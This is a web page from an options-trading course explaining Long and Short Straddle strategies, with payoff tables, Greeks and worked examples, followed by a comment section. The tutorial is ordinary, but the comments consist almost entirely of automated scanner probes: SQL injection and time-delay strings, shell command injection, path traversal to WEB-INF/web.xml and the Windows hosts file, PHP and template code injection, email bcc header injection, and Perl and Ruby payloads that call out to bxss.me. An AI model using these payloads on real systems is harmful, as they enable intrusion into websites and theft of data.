Long Straddle and Short Straddle

LONG STRADDLE

Strategy Details
Strategy Type	Neutral on direction, but bullish on volatility
# of legs	2 (Long ATM Call + Long ATM Put)
Maximum Reward	Potentially unlimited
Maximum Risk	Limited to the extent of net premium paid
Lower Breakeven Price	Strike Price - Net Premium Paid
Upper Breakeven Price	Strike Price + Net Premium Paid
Payoff Calculation	Payoff of Long Call + Payoff of Long Put

A Long Straddle is an option strategy wherein the trader would buy 1 ATM Call option and simultaneously buy 1 ATM Put Option. Both these options must have the same strike price, same underlying instrument, and same expiration date. If the underlying price is not exactly at a specific strike price at the time of initiation, the trader could select strikes that are closest to the underlying price. This is one of the most popular multi-legged option strategy among traders because of the limited risk and unlimited reward profile it offers.

By simultaneously buying a Call and a Put at the same strike price, the trader is neutral on the direction of the underlying. In other words, the trader is not biased in terms of the direction in which the underlying price moves. That said, what is especially important is for the underlying price to trend sharply in one direction, regardless of the direction in which it trends. Also, volatility is of paramount importance to the success of this strategy. Post initiation, if volatility explodes, the value of the Call and the Put will increase, and vice versa. Hence, execute this strategy when you expect volatility to surge from the time you initiate it.

The best time to initiate a Long Straddle is when IVs (Implied Volatility) tend to be comparatively low and you expect them to surge going forward. One can use fundamental parameters to trade this strategy, such as executing it well before the announcement of a company’s earnings result or well ahead of the release of a market-moving economic report etc. One can also use technical filters to trade this strategy, such as when Bollinger Bands have narrowed significantly (indicating a marked contraction in volatility) or when price is trading inside a consolidation pattern such as a rectangle or a flag and the trader is of the opinion that this consolidation will soon end. Irrespective of the parameters used, the key thing to keep in mind is that when trading this strategy, your outlook on volatility must be very bullish and you must expect the underlying to move sharply, either up or down.

Although this strategy looks quite simple because of its limited risk and unlimited reward potential, be warned that this strategy is far from simple. One reason for this is the cost of implementing this strategy. Because the trader would be buying an ATM Call and Put, the net cost of this strategy tends to be quite high. Second, the underlying price will have to travel quite a bit, regardless of direction, for the strategy to even breakeven. Third, because both the options purchased are ATM, they will be subject to highest time decay if the underlying price does not move much (recollect that ATM options have the highest time value and hence will be subject to highest time decay). Because of these reasons, care must be taken when implementing this strategy.

Maximum loss under this strategy is limited to the extent of net premium paid and occurs when the underlying price is exactly at the strike price on expiration. On the other hand, maximum profit is potentially unlimited and occurs when the underlying price rises sharply or falls sharply. If the underlying price rises sharply, the Put will become worthless and the Call will start becoming profitable. On the other hand, if the underlying price falls sharply, the Call will become worthless and the Put will start becoming profitable. This strategy has two breakeven points, lower and upper. For the strategy to become profitable, the underlying price will have to either rise above the upper breakeven point or fall below the lower breakeven point.

Benefits of the Strategy

This strategy has risk that is limited to the extent of net premium paid
This strategy has a potential for unlimited reward
This strategy can profit from either side move in the price of the underlying instrument, provided the move is substantial

Drawbacks of the Strategy

Because the trader would buy two ATM options, this strategy can be quite expensive
There is a possibility that the trader could lose 100% of his/her investment if the underlying price is exactly at the strike price on expiration
Because both the options bought are ATM, they will be subject to highest time decay if the underlying price does not move much
If volatility does not pick up or if the underlying price stays range bound, time decay would erode the values of both the options

Strategy Suggestions

Ensure that your view on volatility is very bullish
Ensure that you expect the underlying instrument to trend strongly in one direction, up or down
Avoid executing this strategy on instruments that have historically low volatility, such as low Beta type stocks. Instead, use this strategy on instruments that have historically exhibited high volatility, such as high Beta stocks
Use technical or fundamental parameters when trading this strategy
Looks for consolidation patterns such as flags, pennants, Bollinger squeeze etc. on the charts as moves out of such patterns are usually followed by sharp move in the direction of the breakout
Before executing this strategy, look out at the IVs of both the options as initiating this strategy when IVs are remarkably high would not only increase the cost of the strategy but could also pose the risk of IVs cooling off (as IVs tend to be mean reverting)
If the premiums of the options are declining and if expiration is soon approaching, consider exiting the strategy as time decay tends to accelerate near to expiration
Frequently keep a track of IVs and the trend of the underlying instrument
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Long Straddle

Greek	Notes
Delta	Delta is at or close to zero at initiation. If the underlying price rises above the strike price, Delta starts rising above zero. The higher the rise in the underlying, the higher the rise in Delta above zero as the Call becomes ITM and the Put becomes OTM. Meanwhile, if the underlying drops below the strike, Delta starts falling below zero. The larger the drop in the underlying, the more will the Delta fall below zero as the Put becomes ITM and the Call becomes OTM.
Gamma	As both the options are ATM and have positive Gamma values, Gamma tends to be at its peak at initiation. As a result, Delta tends to be most sensitive to changes in the underlying price near the strike price. As the underlying price starts moving away from the strike price, Gamma starts to decline and move towards zero, meaning the impact of Gamma on Delta starts reducing.
Vega	As both the options are ATM and have positive Vega values, Vega tends to be at its peak at initiation. As a result, the impact of change in IVs tends to be the greatest around the strike price. As the underlying price starts moving away from the strike price, Vega starts to decline and move towards zero, meaning the impact of changes in IVs on option premiums gradually starts tapering off.
Theta	As both the options are ATM and have negative Theta values, Theta tends to be at its most negative at initiation. As a result, time decay has the greatest negative impact around the strike price. However, as the underlying starts moving away from the strike, Theta starts to increase and move towards zero, meaning the negative impact of time decay on option premiums gradually starts tapering off.
Rho	Rho is around zero at initiation. As the underlying price rises above the strike price, Rho rises and moves above zero, meaning rising interest rates benefit the position, and vice versa. On the other hand, as the underlying falls below the strike, Rho drops and moves below zero, meaning rising interest rates hurt the position. That said, this is the least significant of the five option Greeks.

Payoff of Long Straddle

The above is the payoff chart of a Long Straddle strategy. Notice that this strategy is executed at one strike price only, the ATM strike. See that for the strategy to achieve breakeven, the underlying price will have to either rise above the upper breakeven point or fall below the lower breakeven point. Until that happens, the trader would be in a loss-making position. Observe that beyond either of the two breakeven points, profit can be potentially unlimited. Meanwhile, see that maximum loss under this strategy occurs when the underlying price is exactly at the strike price at expiration.

Example of Long Straddle

Let us say that Mr. ABC has decided to execute a Long Straddle strategy on JSW Steel. The details of the strategy are as below:

Strike price of ATM long Call = 165
Strike price of ATM long Put = 165
Long Call premium = ₹5
Long Put premium = ₹4
Net Debit = ₹9 (5 + 4)
Net Debit (in value terms) = ₹20,700 (9 * 2300)
Lower Breakeven point = 156 (165 - 9)
Upper Breakeven point = 174 (165 + 9)
Maximum reward = Unlimited
Maximum risk = ₹20,700

Now, let us assume a few scenarios in terms of where JSW Steel would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
130	Profit of ₹59,800	Payoff = [Maximum of (130-165,0)-5] + [Maximum of (165-130,0)-4]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
150	Profit of ₹13,800	Payoff = [Maximum of (150-165,0)-5] + [Maximum of (165-150,0)-4]. As the underlying price at expiration is below the lower breakeven point, the trader will make a profit
156	No profit, No loss	Payoff = [Maximum of (156-165,0)-5] + [Maximum of (165-156,0)-4]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
160	Loss of ₹9,200	Payoff = [Maximum of (160-165,0)-5] + [Maximum of (165-160,0)-4]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
165	Loss of ₹20,700	Payoff = [Maximum of (165-165,0)-5] + [Maximum of (165-165,0)-4]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
170	Loss of ₹9,200	Payoff = [Maximum of (170-165,0)-5] + [Maximum of (165-170,0)-4]. As the underlying price at expiration is between the two breakeven points, the trader will incur a loss
174	No profit, No loss	Payoff = [Maximum of (174-165,0)-5] + [Maximum of (165-174,0)-4]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
180	Profit of ₹13,800	Payoff = [Maximum of (180-165,0)-5] + [Maximum of (165-180,0)-4]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit
200	Profit of ₹59,800	Payoff = [Maximum of (200-165,0)-5] + [Maximum of (165-200,0)-4]. As the underlying price at expiration is above the upper breakeven point, the trader will make a profit

Notice in the above table that if JSW Steel falls below the lower BEP of 156 or rises above the upper BEP of 174, the trader starts to make money on the strategy. See that the profit gets bigger and bigger, the more the JSW Steel falls below 156 or rises above 174. On the flip side, notice that if the underlying price gets stuck within the two breakeven points, the trader will suffer a loss. Observe that maximum loss of ₹20,700 occurs if JSW Steel is exactly at the strike price of 165 on expiration, in which case both the options expire worthless.

SHORT STRADDLE

Strategy Details
Strategy Type	Neutral on direction, but bearish on volatility
# of legs	2 (Short ATM Call + Short ATM Put)
Maximum Reward	Limited to the extent of net premium received
Maximum Risk	Potentially unlimited
Lower Breakeven Price	Strike Price - Net Premium Received
Upper Breakeven Price	Strike Price + Net Premium Received
Payoff Calculation	Payoff of Short Call + Payoff of Short Put

Explanation of the Strategy

A Short Straddle is a strategy wherein the trader would sell an ATM Call and simultaneously sell an ATM Put. Both these options must have the same strike price, same underlying instrument, and same expiration date. If the underlying price is not exactly at a specific strike price at the time of initiation, the trader could select strikes that are closest to the underlying price. This strategy is the opposite of the Long Straddle. It is not as popular as the Long Straddle though because of its unlimited risk and limited reward profile.

By simultaneously selling a Call and a Put at the same strike price, the trader expects the underlying instrument to stay range bound and hover near the strike price for the remainder of the option’s life. The trader would also expect IVs to reduce post the initiation of this strategy, as this would reduce the values of the two options. Hence, it can be said that a trader would implement this strategy when he expects the underlying to remain range bound and IVs to contract. Given that IVs tend to be mean reverting, traders sometimes prefer initiating this strategy when IVs are abnormally high, hoping that they would shrink going forward and return to normal levels.

A Short Straddle is a net credit strategy. If implemented correctly under right market conditions, this strategy can be a good source of income. However, it must be kept in mind that this strategy is an advanced option strategy because of its risk reward profile. It must be kept in mind that the profitability starts reducing as the underlying price moves away from the strike price. Meanwhile, if the underlying price falls or rises beyond a certain point, the trader starts suffering losses, which can get catastrophic. Hence, care must be taken when initiating this strategy. Preferably, this strategy must be executed by experienced option traders only.

A Short Straddle has two breakeven points, lower and upper. The strategy is profitable as long as the underlying price is within the range of the two breakeven points. Maximum profit under this strategy is limited to the extent of net premium received and occurs when the underlying price is exactly at the strike price at expiration. On the other hand, maximum loss under this strategy is unlimited and occurs when the underlying price either falls below the lower breakeven or rises above the upper breakeven. The larger the decline in the underlying price below the lower breakeven point or the larger the rise in the underlying price above the upper breakeven point, the larger will be the trader’s losses.

Benefits of the Strategy

This strategy is a net credit strategy
This strategy can be a good source of income if used under right market conditions
For this strategy, time decay is immensely beneficial

Drawbacks of the Strategy

This strategy has an unlimited risk profile
This strategy has a limited reward profile
An unexpected rise in volatility would be detrimental to the success of the strategy
Any unexpected price-sensitive news or event could spell big trouble to the trader
A sharp gap up or gap down opening can be detrimental

Strategy Suggestions

Ensure that your view on the underlying is range bound and your view on volatility is bearish
When executed, keep a regular track of both the options
Preferably, avoid this strategy on instruments that tend to be extremely volatile, such as high beta stocks. Instead, implement this strategy on instruments that have historically seldom exhibited huge volatility
Before executing this strategy, look out at the IVs of both the options as initiating this strategy when IVs are very low would not only mean a smaller net credit but could also pose the risk of IVs rising (as IVs tend to be mean reverting)
Avoid executing this strategy ahead of the announcement of a price-sensitive data or event
If already holding a position ahead of a price-sensitive data or event, consider exiting it, especially if the event is lined up outside the market hours
Frequently keep a track of IVs and the trend of the underlying instrument to ensure that there are no surprises/shocks
Because you are short both the options, give yourself as little time to go wrong as possible. In other words, execute this strategy when expiration is not far away
Ensure there is sufficient liquidity in the underlying that is being chosen to initiate this strategy

Option Greeks for Short Straddle

Greek	Notes
Delta	Delta is at or close to zero at initiation. If the underlying price rises above the strike price, Delta starts falling below zero. The higher the rise in the underlying, the lower the Delta falls below zero. Meanwhile, if the underlying drops below the strike, Delta starts rising above zero. The larger the drop in the underlying, the higher the Delta rises above zero. The contrary movement between underlying price and Delta is due to the negative position Gamma.
Gamma	As both the options are ATM and have negative Gamma values, Gamma tends to be at its most negative at initiation. As a result, Delta tends to be most sensitive to changes in the underlying price near the strike price. As the underlying price starts moving away from the strike price, Gamma starts to rise and move towards zero, meaning the impact of Gamma on Delta starts tapering off.
Vega	As both the options are ATM and have negative Vega values, Vega tends to be at its most negative at initiation. As a result, the impact of change in IVs tends to hurt the most around the strike price. As the underlying price starts moving away from the strike price, Vega starts to rise and move towards zero, meaning the impact of changes in IVs on option premiums gradually starts tapering off.
Theta	As both the options are ATM and have positive Theta values, Theta tends to be at its peak at initiation. As a result, time decay has the greatest positive impact around the strike price. However, as the underlying starts moving away from the strike, Theta starts to reduce and move towards zero, meaning the positive impact of time decay on option premiums gradually starts tapering off.
Rho	Rho is around zero at initiation. As the underlying price rises above the strike price, Rho falls and moves below zero, meaning rising interest rates hurt the position, and vice versa. On the other hand, as the underlying falls below the strike, Rho rises and moves above zero, meaning rising interest rates benefit the position, and vice versa. That said, this is the least significant of the five option Greeks.

Payoff of Short Straddle

The above is the payoff chart of a Short Straddle strategy. Notice that this strategy is executed at one strike price only, the ATM strike. See that this strategy achieves its maximum profit potential if the underlying price is exactly at the strike price on expiration. As the underlying price starts moving away from the strike price, the profitability starts reducing. Observe that the strategy remains profitable as long as the underlying price is within the range of the two breakeven points. As the underlying price moves outside the range of one of the two breakeven points, the trader starts incurring losses. See that the larger the drop in the underlying price below the lower breakeven point or the larger the rise above the upper breakeven point, the greater will be the trader’s loss.

Example of Short Straddle

Let us say that Mr. ABC has decided to execute a Short Straddle strategy on HDFC Bank. The details of the strategy are as below:

Strike price of ATM Short Call = 840
Strike price of ATM Short Put = 840
Short Call premium = ₹18
Short Put premium = ₹17
Net Credit = ₹35 (18 + 17)
Net Credit (in value terms) = ₹17,500 (35 * 500)
Lower Breakeven point = 805 (840 - 35)
Upper Breakeven point = 875 (840 + 35)
Maximum reward = ₹17,500
Maximum risk = Unlimited

Now, let us assume a few scenarios in terms of where HDFC Bank would be on the expiration date and the impact this would have on the profitability of the trade.

Underlying price at Expiration	Net Profit/Loss	Notes
700	Loss of ₹52,500	Payoff = [18-Maximum of (700-840,0)] + [17-Maximum of (840-700,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
750	Loss of ₹27,500	Payoff = [18-Maximum of (750-840,0)] + [17-Maximum of (840-750,0)]. As the underlying price at expiration is below the lower breakeven point, the trader will incur a loss
805	No profit, No loss	Payoff = [18-Maximum of (805-840,0)] + [17-Maximum of (840-805,0)]. As the underlying price at expiration is equal to the lower breakeven point, the trader will neither make a profit nor incur a loss
825	Profit of ₹10,000	Payoff = [18-Maximum of (825-840,0)] + [17-Maximum of (840-825,0)]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
840	Profit of ₹17,500	Payoff = [18-Maximum of (840-840,0)] + [17-Maximum of (840-840,0)]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
860	Profit of ₹7,500	Payoff = [18-Maximum of (860-840,0)] + [17-Maximum of (840-860,0)]. As the underlying price at expiration is between the two breakeven points, the trader will make a profit
875	No profit, No loss	Payoff = [18-Maximum of (875-840,0)] + [17-Maximum of (840-875,0)]. As the underlying price at expiration is equal to the upper breakeven point, the trader will neither make a profit nor incur a loss
900	Loss of ₹12,500	Payoff = [18-Maximum of (900-840,0)] + [17-Maximum of (840-900,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss
1000	Loss of ₹62,500	Payoff = [18-Maximum of (1000-840,0)] + [17-Maximum of (840-1000,0)]. As the underlying price at expiration is above the upper breakeven point, the trader will incur a loss

Notice in the above table that the trader makes a profit only if HDFC Bank is trading within the range of the two breakeven points - 805 and 875. See that maximum profit is limited to the extent of net credit received - ₹17,500 - and occurs when HDFC Bank is exactly at the strike price of 840 on expiration. Meanwhile, observe that if HDFC Bank falls below 805 or rises above 875, the trader starts suffering losses. The more HDFC Bank falls below 805 or rises above 875, the greater will be the trader’s loss, which can get potentially catastrophic if the position is held onto.

Next Chapter

Long Strangle and Short Strangle

16 Lessons

In this chapter, we shall discuss two option strategies: Long Strangle and Short Strangle. We shall talk about the various aspects of these two strategies including payoffs, Greeks, and illustrations with examples.

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-1 OR 2+531-531-1=0+0+0+1 -- commented on November 9th, 2023 at 8:44 PM
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-1' OR 2+308-308-1=0+0+0+1 -- commented on November 9th, 2023 at 8:44 PM
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-1" OR 2+825-825-1=0+0+0+1 -- commented on November 9th, 2023 at 8:44 PM
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z commented on November 9th, 2023 at 8:45 PM
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wrBEIRqX commented on November 9th, 2023 at 8:50 PM
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wrBEIRqX commented on November 9th, 2023 at 8:51 PM
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wrBEIRqX commented on November 9th, 2023 at 8:51 PM
-1 OR 2+482-482-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:51 PM
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wrBEIRqX commented on November 9th, 2023 at 8:51 PM
-1' OR 2+129-129-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:51 PM
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wrBEIRqX commented on November 9th, 2023 at 8:51 PM
-1" OR 2+292-292-1=0+0+0+1 --

wrBEIRqX commented on November 9th, 2023 at 8:51 PM
if(now()=sysdate(),sleep(15),0)

wrBEIRqX commented on November 9th, 2023 at 8:52 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

wrBEIRqX commented on November 9th, 2023 at 8:52 PM
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wrBEIRqX commented on November 9th, 2023 at 8:53 PM
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wrBEIRqX commented on November 9th, 2023 at 8:53 PM
-1; waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:54 PM
-1); waitfor delay '0:0:15' --

wrBEIRqX commented on November 9th, 2023 at 8:55 PM
1 waitfor delay '0:0:15' --

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wrBEIRqX commented on November 9th, 2023 at 8:56 PM
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wrBEIRqX commented on November 9th, 2023 at 8:56 PM
-5) OR 53=(SELECT 53 FROM PG_SLEEP(15))--

wrBEIRqX commented on November 9th, 2023 at 8:57 PM
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wrBEIRqX commented on November 9th, 2023 at 8:57 PM
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wrBEIRqX commented on November 9th, 2023 at 8:59 PM
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wrBEIRqX commented on November 9th, 2023 at 8:59 PM
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zbdrariI commented on December 2nd, 2023 at 11:11 AM
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1'" commented on December 2nd, 2023 at 11:14 AM
555

@@vpkG5 commented on December 2nd, 2023 at 11:14 AM
555

zbdrariI commented on December 2nd, 2023 at 11:15 AM
555

zbdrariI commented on December 2nd, 2023 at 11:21 AM
1'"

zbdrariI commented on December 2nd, 2023 at 11:21 AM
@@TQSwF

zbdrariI commented on December 2nd, 2023 at 11:21 AM
555

zbdrariI commented on December 2nd, 2023 at 11:25 AM
555

zbdrariI commented on December 2nd, 2023 at 11:26 AM
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zbdrariI commented on December 2nd, 2023 at 11:29 AM
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zbdrariI commented on December 2nd, 2023 at 11:30 AM
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zbdrariI commented on December 2nd, 2023 at 11:31 AM
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zbdrariI commented on December 2nd, 2023 at 11:35 AM
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zbdrariI commented on December 2nd, 2023 at 11:41 AM
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zbdrariI commented on December 2nd, 2023 at 11:52 AM
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zbdrariI commented on December 2nd, 2023 at 11:54 AM
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WkYxnTGh commented on December 2nd, 2023 at 10:29 PM
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WkYxnTGh commented on December 2nd, 2023 at 10:36 PM
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WkYxnTGh commented on December 2nd, 2023 at 10:41 PM
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1'" commented on December 2nd, 2023 at 10:44 PM
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@@dg5wU commented on December 2nd, 2023 at 10:44 PM
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WkYxnTGh commented on December 2nd, 2023 at 10:45 PM
555

WkYxnTGh commented on December 2nd, 2023 at 10:51 PM
1'"

WkYxnTGh commented on December 2nd, 2023 at 10:51 PM
@@a8awX

WkYxnTGh commented on December 2nd, 2023 at 10:52 PM
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WkYxnTGh commented on December 2nd, 2023 at 10:55 PM
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WkYxnTGh commented on December 2nd, 2023 at 10:56 PM
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WkYxnTGh commented on December 2nd, 2023 at 10:59 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:00 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:01 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:04 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:05 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:09 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:19 PM
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WkYxnTGh commented on December 2nd, 2023 at 11:20 PM
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fKxorhrg commented on December 12th, 2023 at 10:12 AM
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fKxorhrg commented on December 12th, 2023 at 10:28 AM
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1'" commented on December 12th, 2023 at 10:28 AM
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1BSm0cn6H2O commented on December 12th, 2023 at 10:28 AM
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fKxorhrg commented on December 12th, 2023 at 10:28 AM
1CszYLt9KGO

fKxorhrg commented on December 12th, 2023 at 10:28 AM
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fKxorhrg commented on December 12th, 2023 at 10:29 AM
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fKxorhrg commented on December 12th, 2023 at 10:30 AM
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../fKxorhrg commented on December 12th, 2023 at 10:30 AM
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fKxorhrg commented on December 12th, 2023 at 10:30 AM
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bcc:[email protected]

fKxorhrg commented on December 12th, 2023 at 10:30 AM
[email protected]>
bcc:[email protected]

fKxorhrg commented on December 12th, 2023 at 10:31 AM
555

fKxorhrg commented on December 12th, 2023 at 10:32 AM
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echo yavsck$()\ ribino\nz^xyu||a #' &echo yavsck$()\ ribino\nz^xyu||a #|" &echo yavsck$()\ ribino\nz^xyu||a # commented on December 12th, 2023 at 10:32 AM
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&echo pnymxw$()\ lwpshv\nz^xyu||a #' &echo pnymxw$()\ lwpshv\nz^xyu||a #|" &echo pnymxw$()\ lwpshv\nz^xyu||a # commented on December 12th, 2023 at 10:32 AM
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fKxorhrg commented on December 12th, 2023 at 10:32 AM
555

fKxorhrg&echo btuhak$()\ jojtio\nz^xyu||a #' &echo btuhak$()\ jojtio\nz^xyu||a #|" &echo btuhak$()\ jojtio\nz^xyu||a # commented on December 12th, 2023 at 10:33 AM
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fKxorhrg commented on December 12th, 2023 at 10:33 AM
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fKxorhrg commented on December 12th, 2023 at 10:34 AM
1'"

fKxorhrg commented on December 12th, 2023 at 10:34 AM
555

fKxorhrg commented on December 12th, 2023 at 10:34 AM
/WEB-INF/web.xml

fKxorhrg commented on December 12th, 2023 at 10:34 AM
C:\WINDOWS\system32\drivers\etc\hosts

fKxorhrg commented on December 12th, 2023 at 10:34 AM
WEB-INF/web.xml

fKxorhrg commented on December 12th, 2023 at 10:34 AM
WEB-INF\web.xml

fKxorhrg commented on December 12th, 2023 at 10:34 AM
555

${9999391+9999003} commented on December 12th, 2023 at 10:35 AM
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aGVFU0dMOUE= commented on December 12th, 2023 at 10:35 AM
555

fKxorhrg commented on December 12th, 2023 at 10:36 AM
555

fKxorhrg commented on December 12th, 2023 at 10:36 AM
${9999380+9999983}

) commented on December 12th, 2023 at 10:36 AM
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!(()&&!|*|*| commented on December 12th, 2023 at 10:36 AM
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^(#$!@#$)(()))****** commented on December 12th, 2023 at 10:36 AM
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fKxorhrg commented on December 12th, 2023 at 10:36 AM
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@@auWHm commented on December 12th, 2023 at 10:36 AM
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fKxorhrg commented on December 12th, 2023 at 10:36 AM
@@RAOuo

fKxorhrg commented on December 12th, 2023 at 10:36 AM
555

fKxorhrg commented on December 12th, 2023 at 10:36 AM
)

fKxorhrg commented on December 12th, 2023 at 10:36 AM
!(()&&!|*|*|

fKxorhrg commented on December 12th, 2023 at 10:37 AM
555

@@auWHm commented on December 12th, 2023 at 10:37 AM
555

fKxorhrg commented on December 12th, 2023 at 10:37 AM
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fKxorhrg bcc:[email protected] commented on December 12th, 2023 at 10:37 AM
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fKxorhrg commented on December 12th, 2023 at 10:37 AM
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@@auWHm commented on December 12th, 2023 at 10:38 AM
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http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg commented on December 12th, 2023 at 10:38 AM
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'.gethostbyname(lc('hitav'.'aopqikmm373eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(68).chr(110).chr(78).' commented on December 12th, 2023 at 10:38 AM
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fKxorhrg commented on December 12th, 2023 at 10:38 AM
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1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg commented on December 12th, 2023 at 10:38 AM
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../fKxorhrg commented on December 12th, 2023 at 10:38 AM
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fKxorhrg commented on December 12th, 2023 at 10:38 AM
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fKxorhrg bcc:[email protected] commented on December 12th, 2023 at 10:38 AM
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fKxorhrg commented on December 12th, 2023 at 10:39 AM
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"+"A".concat(70-3).concat(22*4).concat(106).concat(76).concat(119).concat(79)+(require"socket" Socket.gethostbyname("hitww"+"cpojhdov4f2b5.bxss.me.")[3].to_s)+" commented on December 12th, 2023 at 10:39 AM
555

'+'A'.concat(70-3).concat(22*4).concat(110).concat(71).concat(122).concat(87)+(require'socket' Socket.gethostbyname('hitiq'+'lnbmoshj657a1.bxss.me.')[3].to_s)+' commented on December 12th, 2023 at 10:39 AM
555

fKxorhrg commented on December 12th, 2023 at 10:39 AM
555

fKxorhrg commented on December 12th, 2023 at 10:40 AM
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HttP://bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 10:40 AM
555

bxss.me/t/xss.html?%00 commented on December 12th, 2023 at 10:40 AM
555

fKxorhrg commented on December 12th, 2023 at 10:40 AM
../555

fKxorhrg commented on December 12th, 2023 at 10:40 AM
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

fKxorhrg commented on December 12th, 2023 at 10:40 AM
"+"A".concat(70-3).concat(22*4).concat(107).concat(79).concat(109).concat(85)+(require"socket"
Socket.gethostbyname("hitak"+"fjcvbkfk91ef5.bxss.me.")[3].to_s)+"

fKxorhrg commented on December 12th, 2023 at 10:40 AM
'+'A'.concat(70-3).concat(22*4).concat(118).concat(65).concat(97).concat(78)+(require'socket'
Socket.gethostbyname('hitgi'+'vsilwnqs0dde3.bxss.me.')[3].to_s)+'

fKxorhrg commented on December 12th, 2023 at 10:40 AM
555

fKxorhrg commented on December 12th, 2023 at 10:40 AM
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

fKxorhrg commented on December 12th, 2023 at 10:40 AM
'.gethostbyname(lc('hitev'.'dwrmiabncf8a0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(77).chr(100).chr(69).'

fKxorhrg commented on December 12th, 2023 at 10:40 AM
555

fKxorhrg commented on December 12th, 2023 at 10:40 AM
../555

fKxorhrg&echo btuhak$()\ jojtio\nz^xyu||a #' &echo btuhak$()\ jojtio\nz^xyu||a #|" &echo btuhak$()\ jojtio\nz^xyu||a # commented on December 12th, 2023 at 10:41 AM
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fKxorhrg commented on December 12th, 2023 at 10:41 AM
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xfs.bxss.me commented on December 12th, 2023 at 10:41 AM
555

fKxorhrg commented on December 12th, 2023 at 10:41 AM
xfs.bxss.me

fKxorhrg commented on December 12th, 2023 at 10:41 AM
".gethostbyname(lc("hitmz"."iisnitthcb8d0.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(80).chr(112).chr(68)."

fKxorhrg commented on December 12th, 2023 at 10:41 AM
555

fKxorhrg commented on December 12th, 2023 at 10:41 AM
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

fKxorhrg commented on December 12th, 2023 at 10:41 AM
';print(md5(31337));$a='

fKxorhrg commented on December 12th, 2023 at 10:41 AM
555

fKxorhrg commented on December 12th, 2023 at 10:41 AM
long-straddle-and-short-straddle.html

fKxorhrg commented on December 12th, 2023 at 10:42 AM
555

|echo kfiskn$()\ mvinud\nz^xyu||a #' |echo kfiskn$()\ mvinud\nz^xyu||a #|" |echo kfiskn$()\ mvinud\nz^xyu||a # commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
/WEB-INF/web.xml

|echo kfiskn$()\ mvinud\nz^xyu||a #' |echo kfiskn$()\ mvinud\nz^xyu||a #|" |echo kfiskn$()\ mvinud\nz^xyu||a # commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
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${9999391+9999003} commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
";print(md5(31337));$a="

fKxorhrg commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
echo sgulge$()\ oajoio\nz^xyu||a #' &echo sgulge$()\ oajoio\nz^xyu||a #|" &echo sgulge$()\ oajoio\nz^xyu||a #

${9999391+9999003} commented on December 12th, 2023 at 10:42 AM
555

fKxorhrg commented on December 12th, 2023 at 10:42 AM
${@print(md5(31337))}

fKxorhrg commented on December 12th, 2023 at 10:42 AM
${@print(md5(31337))}\

fKxorhrg commented on December 12th, 2023 at 10:42 AM
'.print(md5(31337)).'

fKxorhrg commented on December 12th, 2023 at 10:43 AM
555

aGVFU0dMOUE= commented on December 12th, 2023 at 10:43 AM
555

fKxorhrg commented on December 12th, 2023 at 10:43 AM
echo sgulge$()\ oajoio\nz^xyu||a #' &echo sgulge$()\ oajoio\nz^xyu||a #|" &echo sgulge$()\ oajoio\nz^xyu||a #

'" commented on December 12th, 2023 at 10:43 AM
555

fKxorhrg commented on December 12th, 2023 at 10:43 AM
'"

fKxorhrg commented on December 12th, 2023 at 10:43 AM
${9999380+9999983}

fKxorhrg commented on December 12th, 2023 at 10:43 AM
555

fKxorhrg commented on December 12th, 2023 at 10:44 AM
555

1BSm0cn6H2O commented on December 12th, 2023 at 10:44 AM
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fKxorhrg commented on December 12th, 2023 at 10:44 AM
555

fKxorhrg commented on December 12th, 2023 at 10:44 AM
)

fKxorhrg commented on December 12th, 2023 at 10:44 AM
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fKxorhrg commented on December 12th, 2023 at 10:45 AM
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fKxorhrg bcc:[email protected] commented on December 12th, 2023 at 10:45 AM
555

fKxorhrg commented on December 12th, 2023 at 10:45 AM
555

fKxorhrg commented on December 12th, 2023 at 10:45 AM
^(#$!@#$)(()))******

fKxorhrg commented on December 12th, 2023 at 10:46 AM
555

fKxorhrg commented on December 12th, 2023 at 10:46 AM
^(#$!@#$)(()))******

fKxorhrg commented on December 12th, 2023 at 10:46 AM
555

'.gethostbyname(lc('hitav'.'aopqikmm373eb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(68).chr(110).chr(78).' commented on December 12th, 2023 at 10:46 AM
